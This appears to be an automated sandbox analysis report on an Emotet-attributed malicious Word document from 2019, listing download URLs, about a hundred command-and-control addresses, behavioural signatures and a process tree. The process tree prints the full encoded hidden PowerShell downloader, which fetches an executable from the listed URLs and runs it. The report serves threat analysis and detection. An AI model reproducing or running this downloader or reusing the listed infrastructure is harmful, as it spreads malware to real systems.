Analysis
-
max time kernel
147s -
resource
win10v191014 -
submitted
11-12-2019 12:55
Task
task1
Sample
Docs_bb7395a685cc5b362335f533fc6f058e.9.doc
Resource
win7v191014
General
Malware Config
Extracted
http://mgn.becksworld.org/cgi-bin/qou-ctdaa-783206946/
http://glojef.hwtnetworks.com/cgi-bin/kewbuqy-7d9-286/
http://psikologimarketing.com/eikhx/QBMWeUC/
http://demo.woo-wa.com/wp-content/crDSizyuW/
http://www.icbasiglio.gov.it/wpgo/w7mfnu8-wk673a-9668696/
Extracted
emotet
190.146.14.143:443
85.235.219.74:80
78.187.204.70:80
46.105.128.215:8080
69.30.205.162:7080
192.161.190.171:8080
163.172.97.112:8080
86.98.157.3:80
113.52.135.33:7080
175.127.140.68:80
212.129.14.27:8080
200.41.121.69:443
143.95.101.72:8080
190.161.67.63:80
50.116.78.109:8080
37.46.129.215:8080
119.57.36.54:8080
212.112.113.235:80
46.105.131.68:8080
1.32.54.12:8080
139.59.12.63:8080
190.5.162.204:80
83.99.211.160:80
67.254.196.78:443
187.250.92.82:80
83.110.107.243:443
124.150.175.129:8080
123.142.37.165:80
24.28.178.71:80
190.189.79.73:80
182.176.116.139:995
86.70.224.211:80
190.171.135.235:80
115.179.91.58:80
41.218.118.66:80
85.109.190.235:443
178.134.1.238:80
95.216.207.86:7080
142.93.87.198:8080
81.82.247.216:80
95.216.212.157:8080
86.6.123.109:80
165.100.148.200:443
24.27.122.202:80
176.58.93.123:80
193.33.38.208:443
67.171.182.231:80
190.101.87.170:80
185.244.167.25:443
46.17.6.116:8080
82.79.244.92:80
181.44.166.242:80
77.245.12.212:80
158.69.167.246:8080
191.100.24.201:50000
189.225.211.171:443
181.47.235.26:993
174.57.150.13:8080
200.71.112.158:53
41.77.74.214:443
78.46.87.133:8080
192.241.220.183:8080
172.104.70.207:8080
42.51.192.231:8080
124.150.175.133:80
201.196.15.79:990
23.253.207.142:8080
221.154.59.110:80
210.224.65.117:80
60.53.3.153:8080
195.250.143.182:80
51.38.134.203:8080
89.215.225.15:80
138.197.140.163:8080
201.183.251.100:80
128.92.54.20:80
5.189.148.98:8080
110.142.161.90:80
175.103.239.50:80
195.191.107.67:80
189.61.200.9:443
192.210.217.94:8080
98.15.140.226:80
58.93.151.148:80
100.38.11.243:80
103.122.75.218:80
91.117.31.181:80
198.57.217.170:8080
122.11.164.183:80
37.59.24.25:8080
210.111.160.220:80
162.144.46.90:8080
83.156.88.159:80
78.186.102.195:80
211.218.105.101:80
187.233.220.93:443
172.90.70.168:443
72.69.99.47:80
177.103.201.23:80
72.27.212.209:8080
119.159.150.176:443
216.75.37.196:8080
188.230.134.205:80
153.190.41.185:80
45.129.121.222:443
Signatures
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4972 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
WINWORD.EXE565.exe565.exemalertwrap.exemalertwrap.exepid process 4972 WINWORD.EXE 4696 565.exe 4388 565.exe 3668 malertwrap.exe 4296 malertwrap.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
SppExtComObj.exePowershell.exe565.exemalertwrap.exedescription pid process target process PID 3000 wrote to memory of 3992 3000 SppExtComObj.exe SLUI.exe PID 4556 wrote to memory of 4696 4556 Powershell.exe 565.exe PID 4696 wrote to memory of 4388 4696 565.exe 565.exe PID 3668 wrote to memory of 4296 3668 malertwrap.exe malertwrap.exe -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 4972 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4556 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
Powershell.exemalertwrap.exepid process 4556 Powershell.exe 4296 malertwrap.exe -
Drops file in Windows directory 1 IoCs
Processes:
svchost.exedescription ioc process File opened for modification C:\Windows\Debug\ESE.TXT svchost.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily -
Processes:
description ioc Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0" Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1" -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Executes dropped EXE 4 IoCs
Processes:
565.exe565.exemalertwrap.exemalertwrap.exepid process 4696 565.exe 4388 565.exe 3668 malertwrap.exe 4296 malertwrap.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
Processes:
565.exemalertwrap.exepid process 4388 565.exe 4296 malertwrap.exe -
Drops file in System32 directory 6 IoCs
Processes:
malertwrap.exe565.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 malertwrap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE malertwrap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies malertwrap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 malertwrap.exe File renamed C:\Users\Admin\565.exe => C:\Windows\SysWOW64\malertwrap.exe 565.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat malertwrap.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_bb7395a685cc5b362335f533fc6f058e.9.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:4972
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:3000 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:3992
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABYAGwAbwBlAGEAYQB3AGkAdwA9ACcASwB3AGMAZgBoAHkAegB0AG0AZgAnADsAJABSAGsAYwB6AGMAdQBiAGkAcgBqACAAPQAgACcANQA2ADUAJwA7ACQATwBxAHoAeABjAGsAbwB4AGwAPQAnAFAAYgBxAHQAZABiAHEAcQBiAGEAJwA7ACQARABsAGcAYQBwAHUAdABlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIAawBjAHoAYwB1AGIAaQByAGoAKwAnAC4AZQB4AGUAJwA7ACQAQQBvAHQAagBzAHEAZwBiAD0AJwBJAHAAagBiAHoAZgBtAGIAbgB6ACcAOwAkAEMAbQB6AGQAZgB2AHAAZABvAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcARQBCAGMATABpAEUATgBUADsAJABXAHIAbgBoAGkAZwB4AHQAcwB5AGsAPQAnAGgAdAB0AHAAOgAvAC8AbQBnAG4ALgBiAGUAYwBrAHMAdwBvAHIAbABkAC4AbwByAGcALwBjAGcAaQAtAGIAaQBuAC8AcQBvAHUALQBjAHQAZABhAGEALQA3ADgAMwAyADAANgA5ADQANgAvACoAaAB0AHQAcAA6AC8ALwBnAGwAbwBqAGUAZgAuAGgAdwB0AG4AZQB0AHcAbwByAGsAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGsAZQB3AGIAdQBxAHkALQA3AGQAOQAtADIAOAA2AC8AKgBoAHQAdABwADoALwAvAHAAcwBpAGsAbwBsAG8AZwBpAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwBlAGkAawBoAHgALwBRAEIATQBXAGUAVQBDAC8AKgBoAHQAdABwADoALwAvAGQAZQBtAG8ALgB3AG8AbwAtAHcAYQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGMAcgBEAFMAaQB6AHkAdQBXAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AaQBjAGIAYQBzAGkAZwBsAGkAbwAuAGcAbwB2AC4AaQB0AC8AdwBwAGcAbwAvAHcANwBtAGYAbgB1ADgALQB3AGsANgA3ADMAYQAtADkANgA2ADgANgA5ADYALwAnAC4AIgBzAFAAbABgAGkAVAAiACgAJwAqACcAKQA7ACQAUABnAGkAZwBwAGsAbwB5AGEAZwB4AG4APQAnAEoAYQB3AGcAZgBjAHoAZgB0AGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFMAcQBxAHAAYwByAGUAdAAgAGkAbgAgACQAVwByAG4AaABpAGcAeAB0AHMAeQBrACkAewB0AHIAeQB7ACQAQwBtAHoAZABmAHYAcABkAG8ALgAiAEQAYABPAHcAYABOAGAATABPAGEARABGAGkAbABlACIAKAAkAFMAcQBxAHAAYwByAGUAdAAsACAAJABEAGwAZwBhAHAAdQB0AGUAeQApADsAJABCAGwAZAB6AG0AcwBsAGgAPQAnAEIAbQBhAHYAbgBrAGoAYgBzAHcAYgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEQAbABnAGEAcAB1AHQAZQB5ACkALgAiAEwAYABFAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADIANgA5ADUAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGEAYABSAFQAIgAoACQARABsAGcAYQBwAHUAdABlAHkAKQA7ACQARgBnAHUAcAB0AGsAbQBoAHcAbgA9ACcAVQBhAHQAZQBjAHIAagB3ACcAOwBiAHIAZQBhAGsAOwAkAEcAagBwAG8AdgByAGgAbgBhAGwAPQAnAFQAZwB5AHYAbgBvAGEAdABwAG4AbQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAbwB0AGsAZwB6AGwAdgB6AGsAPQAnAE8AdgBhAGkAbQB4AG8AYwBoACcA1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4556 -
C:\Users\Admin\565.exe"C:\Users\Admin\565.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:4696 -
C:\Users\Admin\565.exe--1fe51a923⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
PID:4388
-
-
-
C:\Windows\SysWOW64\malertwrap.exe"C:\Windows\SysWOW64\malertwrap.exe"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:3668 -
C:\Windows\SysWOW64\malertwrap.exe--f0b78dcb2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
PID:4296
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Drops file in Windows directory
PID:4316
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:4172
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DoSvc1⤵PID:776
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup1⤵PID:4840
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc1⤵PID:336